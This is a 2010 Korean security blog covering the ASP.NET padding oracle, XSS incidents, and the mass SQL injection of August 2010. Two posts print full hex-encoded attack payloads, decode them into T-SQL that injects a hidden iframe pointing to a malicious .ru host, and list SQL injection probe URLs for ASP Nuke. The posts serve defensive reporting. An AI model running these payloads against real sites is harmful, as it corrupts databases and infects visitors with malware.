최근 아도브의 제로데이 취약점 등이 난무하는 가운데 새롭게 가능성이 조심스럽게 제시되는 문제점이 바로 ASP.NET 플랫폼에서 암호화에 관련된 취약점인 패딩 오라클(Padding Oracle) 취약점입니다. 관련한 MS의 보안 권고문은 아래 링크를 참고하십시오.



하지만, ASP.NET의 패딩 오라클 취약점에 노출되어 있는 애플리케이션이 무엇인지 알아내는 방법에 대해 그리 많은 정보가 제공되지 않아 불안한 것이 사실이었습니다. 하지만, 9월 22일 ASP.NET 포럼에서 취약점을 찾는 유용한 정보가 공개되었습니다.



또한, 이를 자동으로 진단하는 스크립트도 소개되어 있으므로, 애플리케이션 개발자들이 요긴하게 참고할 만한 자료로 보입니다.



감사합니다.

reTweet
Posted by 문스랩닷컴
blog comments powered by Disqus

    댓글을 달아 주세요

    최근 SNS 서비스에 대한 다양한 공격이 진행된 적이 있습니다.

    9월 21일 오후에는 트위터에서 XSS(Cross-site Scripting) 공격이 발견되어 수천명 이상이 피해를 본 것으로 알려지고 있습니다. 아래는 이러한 공격 중의 하나입니다.


    아직 해당 공격에 사용된 트윗이 트위터에서 검색되기도 합니다.

    주: 가급적 링크를 사용하지 마십시오.


    이 공격을 통해 해당 트윗을 본 사용자들은 RT(ReTweet)을 하지 않고, 단순하게 마우스를 대는 순간에 포르노 사이트로 이동하는 신기한 현상을 경험할 수 있었습니다.


    아래 동영상은 보안 기업으로 유명한 소포스(Sophos)에서 트위터의 XSS 취약점을 이용하여 데모로 시연한 동영상입니다.




    지난 번에 XSS 공격의 원인 및 미치는 영향에 대해서 언급한 적이 있지만, 이렇게 대규모로 문제를 일으킬 만큼 매우 위험한 취약점으로 OWASP 2010 - Top 10의 2번째로 위험하다고 분류하고 있습니다.



    다행인것은 현재는 XSS 취약점을 해결한 상태입니다. 하지만, 완벽한 해결이라고 보기에는 역부족이지 않을까요?

    출처: http://ht.ly/2HtEL




    reTweet
    Posted by 문스랩닷컴
    blog comments powered by Disqus

      댓글을 달아 주세요

      마이크로소프트는 윈도우 운영체제에서 웹서비스의 일부분으로 제공하는 ASP.NET의 취약점에 대한 사항을 정리하여 공개했습니다.

      이 취약점은 Microsoft Security Advisory (2416728) 또는 CVE-2010-3332 로 이름붙여진 상태입니다.

      이 취약점은 .NET FrameWork가 지원되는 IIS 버전에서 발생하며, 윈도우 XP/Vista/7과 같은 클라이언트 운영체제 뿐만 아니라 Windows 2003/2008/2008R2에서도 문제가 있습니다. 다만 Windows 2000 운영체제에서는 문제가 발생하지 않습니다.

      이 취약점을 통해 웹서버에서 암호화되어 전송되는 View State(__VIEWSTATE)와 같은 데이터를 공격자가 알아 낼 수 있습니다. 또한, 웹 서버에 저장된 파일 - 예를 들어 ASP.NET의 환경 설정 파일인 web.conifg - 을 읽을 수 있습니다.



      이렇게 암호화된 데이터를 예상하여 알아내는 기술을 패딩 오라클(padding oracle) 기법이라고 하며, 최근에 이에 대한 뉴스가 잠시 나온 적이 있어 ASP.NET에 관련된 무언가에 대한 문제점이 있다는 추측이 나오기도 했습니다.

      현재까지 이 취약점을 이용하여 공격하는 코드가 출현했다는 보고는 들어오고 있지 않지만, 나타날 가능성도 배제할 수는 없습니다.

      마이크로소프트는 이 문제점을 해결하기 위해 조사를 진행 중에 있으며, 대안으로는 오류 페이지를 하나로 통일하여 보여 주는 방식이 유일한 것으로 알려져 있습니다.

      아래 코드는 web.config 파일과 C#으로 작성된 ErrorPage.aspx 예제입니다.

      <configuration>
       <location allowOverride="false">
         <system.web>
           <customErrors mode="On" redirectMode="ResponseRewrite" defaultRedirect="~/ErrorPage.aspx" />
         </system.web>
       </location>
      </configuration>


      <%@ Page Language="C#" AutoEventWireup="true" %>
      <%@ Import Namespace="System.Security.Cryptography" %>
      <%@ Import Namespace="System.Threading" %>

      <script runat="server">
              void Page_Load() {
              byte[] delay = new byte[1];
              RandomNumberGenerator prng = new RNGCryptoServiceProvider();

              prng.GetBytes(delay);
              Thread.Sleep((int)delay[0]);
             
              IDisposable disposable = prng as IDisposable;
              if (disposable != null) { disposable.Dispose(); }
          }
      </script>

      <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

      <html xmlns="http://www.w3.org/1999/xhtml">
      <head runat="server">
          <title></title>
      </head>
      <body>
          <div>
              An error occurred while processing your request.
          </div>
      </body>

      보다 자세한 자료는 MS의 기술 자료를 참고하십시오.

      https://www.microsoft.com/technet/security/advisory/2416728.mspx

      이 취약점에 대한 공격코드가 아직 나타나지 않은 점에 대해 안도해야 할 수도 있을 것입니다. 만약, 공격코드가 있다면 전세계 수백, 수천만대의 웹서버가 위험에 처해질 수도 있는 매우 광범위하게 피해를 입힐 수 있는 문제점이기 때문입니다.

      감사합니다.

      2010년 9월 20일자로 마이크로소프트는 해당 취약점을 통해 제한적이지만 실제적으로 공격이 가능하다는 연구 결과를 발표했습니다.

      reTweet
      Posted by 문스랩닷컴
      blog comments powered by Disqus

        댓글을 달아 주세요

        프로그래밍 소스를 보호하기 위해서 전통적인 방법으로는 컴파일러로 컴파일해서 실행 파일 즉 바이너리로 변환하는 방식이 애용되어 왔습니다.

        하지만, HTML이나 자바스크립트(JS)는 모두 소스가 실시간으로 실행되어 보여주기 때문에 소스를 보호하기 위한 새로운 수단이 필요해 졌습니다.

        일명 난독화(Obfuscation)라고 부르기도 하는데, 소스를 남들이 봐도 알아 볼 수 없도록 다양한 기술을 이용하여 변조합니다. 물론, 동작 기능에는 전혀 문제가 없습니다.

        최근에 바이러스와 같은 악성 프로그램이 배포되는 과정에서도 URL을 암호화하는 경향이 있으며, 특히 Mass SQL Injection 공격에서도 종종 사용됩니다.

        아래 코드는 지난 8월 달에 발생한 Mass SQL Injection 공격에 사용된 패턴으로 첫줄 중간 부분에 보면, cast(0x...)로 시작하는 문자열이 있습니다.

        declare%20@s%20varchar(4000);set%20@s=cast(0x6465636c617245204054205661726368417228323535292c406320 566172436861522832353529206465436c615265207441624c455f637552736f7220437552536f7220664f522073454c45435420412e4e616d452
        c622e4e616d652066726f4d207379734f626a6563547320612c735973634f6c754d6e73206220576865524520612e69643d422e496420416e4420
        612e78545970453d27552720414e642028622e58745950653d3939204f5220622e58747950653d3335204f5220622e78747950453d323331206f7
        220422e58747950453d31363729206f70454e207441426c455f437552734f72206665746348206e4578742046724f6d205441426c655f637572736
        f7220494e546f2040742c4043205748694c6528404066655463485f7374615475733d302920624547694e20455845632827557064615465205b27
        2b40742b275d20536574205b272b40632b275d3d727472494d28434f6e7665525428764172434841722834303030292c5b272b40432b275d2929
        2b63615374283078334336393636373236313644363532303733373236333344323236383734373437303341324632463645363536443646363
        8373536393643363436393639364532453732373532463734363437333246363736463245373036383730334637333639363433443331323232
        3037373639363437343638334432323330323232303638363536393637363837343344323233303232323037333734373936433635334432323
        6343639373337303643363137393341364536463645363532323345334332463639363637323631364436353345204173205641726348615228
        31303629292729204645546348206e4578542046524f4d205441626c655f437572734f5220494e546f2040742c406320654e6420436c4f53652054
        61624c455f635552734f52206445416c6c6f43415445205461426c455f435552736f5220%20as%20varchar(4000));exec(@s);--


        이 부분을 해독하여 볼 수 있는 프로그램으로 Ascii Hex URL Decoder를 소개합니다. 이 프로그램은 무료로 다운로드하여 사용할 수 있습니다.


        아래 화면은 Ascii Hex URL Decoder를 실행하고, 암호화된 데이터를 확인하는 것으로 형식을 정확히 입력해야 합니다. CAST(0x숫자 AS VARCHAR)

        감사합니다.
        reTweet
        Posted by 문스랩닷컴
        blog comments powered by Disqus

          댓글을 달아 주세요

          1. 손님 2010.09.17 21:43  댓글주소  수정/삭제  댓글쓰기

            유용한자료 감사합니다.

          웹 보안에 관련되어 다양한 문서들이 인터넷에 공개되어 있거나 책으로 판매됩니다. 이중에서 가장 널리 인용되는 자료는 바로 OWASP Top-10이며, 이 문서는 최신의 보안 경향을 반영하기 위해 약 1-3년 주기마다 업데이트됩니다.


          이 문서에 따르면 가장 위협이 되는 취약점은 INJECTION, XSS(Cross-Site Script) 순으로 분류되어 있습니다.

          이 중에서 SQL Injection 취약점은 그 공격의 결과가 서버의 장악이나 데이터베이스(데이터) 손상이 발생하기 때문에 상대적으로 보안 관리자가 인식하기가 쉽습니다.

          하지만, XSS 공격은 실제로 취약점이 있는 웹서버를 공격하는 것이 아니라 제 3자를 공격하는 공격 경유지 성격을 띠고 있기 때문에 취약점으로 인해 공격이 발생하는지 알아차리기가 쉽지 않습니다.

          XSS 취약점을 이용하여 공격자는 웹 애플리케이션에 접근하는 다른 사용자에게 자바스크립트를 실행할 수 있게끔 허용함으로써 공격이 시작됩니다. 즉,  사용자는 위험할 수도 있다는 생각은 전혀 하지 않은 상태에서 교묘하게 조작된 악성 스크립트가 실행되어 이로 인해 크나큰 피해가 발생할 수 있습니다.

          XSS 공격의 예로 가장 대표적인 것이 계정 정보를 빼내는 기술입니다. 아래와 같은 방식으로 공격이 진행되며 최후의 단계에서는 공격자가 피해자의 정보를 도용하여 로그온할 수 있게 됩니다.

          1. XSS 취약점이 있는 게시판, 검색(입력 부분), 매개변수에 교묘하게 조작된 스크립트를 작성하여 글로 게시합니다.
          2. 사용자가 해당 웹서버에 로그온한 후에 공격자가 미리 올린 글을 읽습니다.
          3. 사용자의 쿠키 값을 웹프록시와 같은 방법을 써서 전송받습니다.
          4. 공격자는 사용자의 쿠키 값을 이용하여 로그온하고, 그외의 공격을 진행합니다.

          이러한 방식은 지난 2008년 9월에 작성된 보고서의 일부분으로, 전북대학교 건지인사랑방에서 발생한 예입니다. (관련 자료 다운로드: http://iscert.springnote.com/pages/1770388/attachments/775186 )

          아래 화면은 엘에이타임즈(LA Times, http://www.latimes.com ) 웹사이트의 특정 URL에서 발견된 XSS 취약점에서 alert("문자열") 스크립트를 실행한 화면입니다. 이외에도 이 사이트에는 다수의 XSS 취약점이 존재할 것으로 생각됩니다.



          만약, 은행과 같은 금융권, 쇼핑몰, 적립금을 적립/충전하여 사용할 수 있는 사이트에서 이러한 XSS 취약점을 이용하는 공격이 발생할 때에는 치명적인 결과를 나을 수 있습니다.

          결론적으로, 로그온이 사용되는 웹사이트에서는 XSS 공격에 대해 충분한 검토하여 문제점을 미리 파악하여 해결해야 합니다. 물론, 로그온이 안되는 경우에도 다양한 공격이 이뤄질 수 있지만, 계정 정보 노출이 가장 중요한 것임은 분명합니다.

          감사합니다.
           

          reTweet
          Posted by 문스랩닷컴
          blog comments powered by Disqus

            댓글을 달아 주세요

            국내에서는 널리 사용되지는 않지만 외국에서 애용되는 IIS(Active Server Page) 기반의 커뮤니티 관리 솔루션인 ASP Nuke에서 웹보안에 관련된 취약점이 발견되었습니다.

            이 취약점은 SQL 인젝션 취약점으로 알려져 있으며 이를 이용하여 공격자는 데이터베이스의 정보 및 데이터를 누출할 수 있을 수 있으며, 악성 코드가 포함된 스크립트를 데이터베이스에 삽입할 수도 있습니다.

            취약점이 발견된 버전은 V0.80으로 이 제품을 사용 중인 경우에는 아래 정보를 참조하여 최대한 빨리 취약점을 해결해야 합니다.

            위치: .../module/article/article/article.asp


            취약점을 확인하는 방법은 아래와 같습니다.

            http://www.site.com/module/article/article/article.asp?articleid=7'

            http://www.site.com/module/article/article/article.asp?articleid=7+and+'a'='a'--

            인터넷에 공개되어 있는 범용 프로그램의 경우에는 웹에 관련된 취약점이 발견될 때 파급되는 영향력이 막대하기 마련입니다. 따라서, 어떤 제품을 사용할지 결정하기 위한 하나의 기준으로 보안을 꼭 염두에 두는 것이 좋습니다.

            감사합니다.
            reTweet
            Posted by 문스랩닷컴
            blog comments powered by Disqus

              댓글을 달아 주세요

              외국에서 설치형 블로그 형태(CMS)로 널리 사용되고 있는 무료 웹애플리케이션인 Elgg에서 SQL 인젝션 취약점이 발견되어 패치가 발표되었습니다.

              버그가 발견된 버전은 1.7.2 버전으로, 새로 패치된 1.7.3 버전으로 즉시 업데이트하는 것이 좋습니다. 그 외, 해결된 사항은 다음과 같습니다.

              • captcha 페이지로 부적절하게 접근하는 문제점 해결
              • "Edit details"와 "Edit profile icon"에서 자신이 보유한 정보가 보이도록 수정
              • get_objects_in_group() 버그 수정

              Elgg 최신버전 다운로드: http://elgg.org/getelgg.php?forward=elgg-1.7.3.zip
              출처: http://blog.elgg.org/pg/blog/brett/read/142/elgg-173-and-163-security-releases


              reTweet
              Posted by 문스랩닷컴
              blog comments powered by Disqus

                댓글을 달아 주세요

                지난 주말에 외국에서 Mass SQL Injection 공격이 발생해 약 50여만 개의 웹페이지가 감염되는 사건이 발생했습니다. 이에 대한 자료는 아래 링크를 참고하십시오.


                그런데 해킹당한 사이트 중에는 우리나라도 있지만, 애플의 아이튠즈(iTunes) 사이트도 피해를 입은 것으로 알려졌습니다.


                Preview(프리뷰) 페이지에서 SQL Injection 공격으로 <iframe></iframe> 코드값이 삽입된 것입니다.

                실제 아이튠즈 웹사이트의 취약점인지 여부는 파악되지 않았습니다만, 하여튼 문제가 있다고 봐야 할 것입니다.

                아! 보안은 IT 대기업에도 힘든 싸움이구나 라는 생각이 듭니다.

                감사합니다.

                출처: http://www.theregister.co.uk/2010/08/17/apple_sql_attack/
                reTweet
                Posted by 문스랩닷컴
                blog comments powered by Disqus

                  댓글을 달아 주세요

                  최근 전세계적으로 SQL 인젝션 공격이 대규모로 발생하여 약 50여만 개의 웹사이트가 감염되어 충격을 주고 있습니다. 이 중에는 국내 웹사이트도 포함되어 있으며 약 2만 여개로 파악되고 있습니다. 이에 대한 사항을 정리해 봤습니다.

                  자동화된 SQL 인젝션 공격은 최초에 SANS에서 파악되어 알려졌으며 자세한 사항은 아래와 같습니다.


                  공격 코드로 추정되는 로그는 다음과 같습니다.

                  공격 코드 #1.
                  declare%20@s%20varchar(4000);set%20@s=cast(0x6445634c417245204054207661526368615228323535292c406320
                  764152434841722832353529206465634c417265207461624c455f635572734f5220435552534f5220466f522053454c45437420412e6e61
                  6d652c622e6e614d652066726f4d207379734f626a6543747320612c737973434f4c754d4e73206220776865524520612e69643d422e6964
                  20614e4420412e58745950653d27552720616e642028622e78545950653d3939206f7220622e58547970653d3335206f5220422e7854595
                  0653d323331204f5220622e78747970453d31363729206f50454e205441624c655f637552736f72206645544348206e6558542046524f6d2
                  05461426c455f437552734f7220494e744f2040542c4063207768696c4528404046657443685f7374417475533d302920626547496e20657
                  845632827557044615445205b272b40742b275d20536554205b272b40632b275d3d727452494d28434f4e5665525428564152434841722
                  834303030292c5b272b40432b275d29292b636153542830783343363936363732363136443635323037333732363333443232363837343
                  73437303341324632463645363536443646363837353639364336343639363936453245373237353246373436343733324636373646324
                  53730363837303346373336393634334433313232323037373639363437343638334432323330323232303638363536393637363837343
                  34432323330323232303733373437393643363533443232363436393733373036433631373933413645364636453635323233453343324
                  6363936363732363136443635334520615320766152434861722831303629292729204645544368204e6578742066526f6d207441426c65
                  5f635572734f7220496e744f2040742c406320456e4420436c6f7365207461626c455f437552736f52206445414c4c6f43415465205461424c6
                  55f435552736f7220%20as%20varchar(4000));exec(@s);--

                  공격 코드 #2.
                  declare%20@s%20varchar(4000);set%20@s=cast(0x6465636c617245204054205661726368417228323535292c406320
                  566172436861522832353529206465436c615265207441624c455f637552736f7220437552536f7220664f522073454c45435420412e4e616d452
                  c622e4e616d652066726f4d207379734f626a6563547320612c735973634f6c754d6e73206220576865524520612e69643d422e496420416e4420
                  612e78545970453d27552720414e642028622e58745950653d3939204f5220622e58747950653d3335204f5220622e78747950453d323331206f7
                  220422e58747950453d31363729206f70454e207441426c455f437552734f72206665746348206e4578742046724f6d205441426c655f637572736
                  f7220494e546f2040742c4043205748694c6528404066655463485f7374615475733d302920624547694e20455845632827557064615465205b27
                  2b40742b275d20536574205b272b40632b275d3d727472494d28434f6e7665525428764172434841722834303030292c5b272b40432b275d2929
                  2b63615374283078334336393636373236313644363532303733373236333344323236383734373437303341324632463645363536443646363
                  8373536393643363436393639364532453732373532463734363437333246363736463245373036383730334637333639363433443331323232
                  3037373639363437343638334432323330323232303638363536393637363837343344323233303232323037333734373936433635334432323
                  6343639373337303643363137393341364536463645363532323345334332463639363637323631364436353345204173205641726348615228
                  31303629292729204645546348206e4578542046524f4d205441626c655f437572734f5220494e546f2040742c406320654e6420436c4f53652054
                  61624c455f635552734f52206445416c6c6f43415445205461426c455f435552736f5220%20as%20varchar(4000));exec(@s);--




                  이 코드를 해독한 결과 다음과 같은 문자열을 찾아 낼 수 있습니다.

                  공격 코드 #1.
                  dEcLArE @T vaRchaR(255),@c vARCHAr(255) decLAre tabLE_cUrsOR CURSOR FoR SELECt A.name,b.naMe froM sysObjeCts a,sysCOLuMNs b wheRE a.id=B.id aND A.XtYPe='U' and (b.xTYPe=99 or b.XType=35 oR B.xTYPe=231 OR b.xtypE=167) oPEN TAbLe_cuRsor fETCH neXT FROm TaBlE_CuRsOr INtO @T,@c whilE(@@FetCh_stAtuS=0) beGIn exEc('UpDaTE ['+@t+'] SeT ['+@c+']=rtRIM(CONVeRT(VARCHAr(4000),['+@C+']))+caST(0x3C696672616D65207372633D22687474703A2F2F6E656D6F6875696C6469696E2E72752F7464732F676F2E7068703F7369643D31222077696474683D223022206865696768743D223022207374796C653D22646973706C61793A6E6F6E65223E3C2F696672616D653E aS vaRCHar(106))') FETCh Next fRom tABle_cUrsOr IntO @t,@c EnD Close tablE_CuRsoR dEALLoCATe TaBLe_CURsor

                  공격 코드 #2.
                  declarE @T VarchAr(255),@c VarChaR(255) deClaRe tAbLE_cuRsor CuRSor fOR sELECT A.NamE,b.Name froM sysObjecTs a,sYscOluMns b WheRE a.id=B.Id AnD a.xTYpE='U' ANd (b.XtYPe=99 OR b.XtyPe=35 OR b.xtyPE=231 or B.XtyPE=167) opEN tABlE_CuRsOr fetcH nExt FrOm TABle_cursor INTo @t,@C WHiLe(@@feTcH_staTus=0) bEGiN EXEc('UpdaTe ['+@t+'] Set ['+@c+']=rtrIM(COnveRT(vArCHAr(4000),['+@C+']))+caSt(0x3C696672616D65207372633D22687474703A2F2F6E656D6F6875696C6469696E2E72752F7464732F676F2E7068703F7369643D31222077696474683D223022206865696768743D223022207374796C653D22646973706C61793A6E6F6E65223E3C2F696672616D653E As VArcHaR(106))') FETcH nExT FROM TAble_CursOR INTo @t,@c eNd ClOSe TabLE_cURsOR dEAlloCATE TaBlE_CURsoR


                  주: 차이점은 declare 단어의 대소문자입니다.


                  두번째 CAST() 에 포함되어 있는 문자열을 해독하면 아래와 같습니다.( 두개가 동일함)

                  공격 코드 #1 & #2.
                  <iframe src="hxxp://nemohuildiin.ru/tds/go.php?sid=1"  width="0" height="0" style="display:none"></iframe>

                  (주: http 대신에 hxxp로 변경)


                  현재 검색 엔진을 통해 감염된 웹페이지를 찾아 보면 대략 50여만 페이지가 넘습니다.


                  nemohuildiin.ru 도메인은 중국에서 관리한 것으로 알려져 있으며 이미 방탄서버(bulletproof host)로 알려져 있는 AS4134 에 속해 있습니다. 이 네트워크는 Zeus 본넷의 C&C(Command and Control) 서버가 운영 중인 것으로 알려져 있습니다.

                  구글의 검색 조건을 보다 자세하게 적용한 결과, AS4134가 조종하는 도메인은 약 3,008개에 이르며, 감염된 웹사이트는 약 20,800 개에 이릅니다. 구글 측에 따르면 현재 12,000 여개의 사이트가 현재에도 운영 중에 있다고 합니다.

                  이렇게 웹 보안에서 가장 문제가 되는 SQL 인젝션 취약점은 최근에는 봇넷을 확장하는데 널리 이용되는 수단이 되고 있으며, 이 이외에도 바이러스 감염, 악성코드 전파 등도 함께 이뤄집니다.

                  마지막으로, SQL 인젝션 취약점은 WAF(웹 방화벽, Web Application Firewall)로는 막기 어렵다는 것을 다시 한번 상기시켜 줍니다. 즉, 패턴(Pattern 또는 Signature)을 인식하여 차단하는 방식은 글자 한글자만 바꿔도 새로운 패턴으로 인식하는 한계를 지니고 있습니다.

                  따라서, 이 문제점을 해결하기 위해서는 웹 소스 상에서 모든 매개변수 및 변수에 대해 안전한 값을 주고받는지 확인하는 Santization 과정을 반드시 수행하도록 소스를 개발 및 수정해야 합니다.

                  감사합니다.

                  참고자료: http://www.thetechherald.com/article.php/201033/6024/TTH-Labs-New-SQL-Injection-attack-hits-thousands-of-sites
                  reTweet
                  Posted by 문스랩닷컴
                  blog comments powered by Disqus

                    댓글을 달아 주세요

                    일본의 수퍼마켓에서도 SQL 인젝션 공격으로 인해 소동이 벌어졌습니다. 간단히 정리해 봅니다.

                    지난 7월, Uny Co., Neo Beat Co.를 포함하는 모두 8개의 온라인 수퍼마켓 사이트에 해커가 침입하여 고객의 정보를 빼가는 사고가 발생했으며, 해커는  SQL 인젝션 취약점을 이용한 것으로 알려졌습니다.

                    공격은 7월 24일부터 26일까지 진행되었으며, 공격지는 일본과 중국으로 알려졌습니다. 이 사고로 인해 오사카에 사는 12,191명의 고객 정보뿐만 아니라 7개의 수퍼마켓 협력사의 정보까지 빼갔습니다.

                    Neo Beat 사는 오사카 경찰에 피해 보고서를 보내고, 지난달 말 웹 사이트를 닫았습니다. 그리고, 경찰은 건에 대한 조사를 착수 중인 것으로 알려지고 있습니다.

                    고객 정보 가운데에는 신용카드 정보가 포함되어 있어 신용카드를 남몰래 사용하거나 시도가 약 100 여건 신고되었습니다.

                    신용카드사는 부정하게 사용되어 결제된 금액에 대해서 고객에게 청구하지는 않을 방침이라고 하지만, 일부 신용카드 사들은 고객들에게 새로 카드를 발급받기를 권고하고 있습니다.


                    아직까지도 상업용 사이트에서도 SQL 인젝션 취약점이 제대로 해결되지 않은 것으로 보이며, 국내에서는 더 이상 말하지 않겠습니다!

                    감사합니다.

                    출처: http://mdn.mainichi.jp/mdnnews/news/20100814p2g00m0dm002000c.html

                    reTweet
                    Posted by 문스랩닷컴
                    blog comments powered by Disqus

                      댓글을 달아 주세요



                      Web Analytics Blogs Directory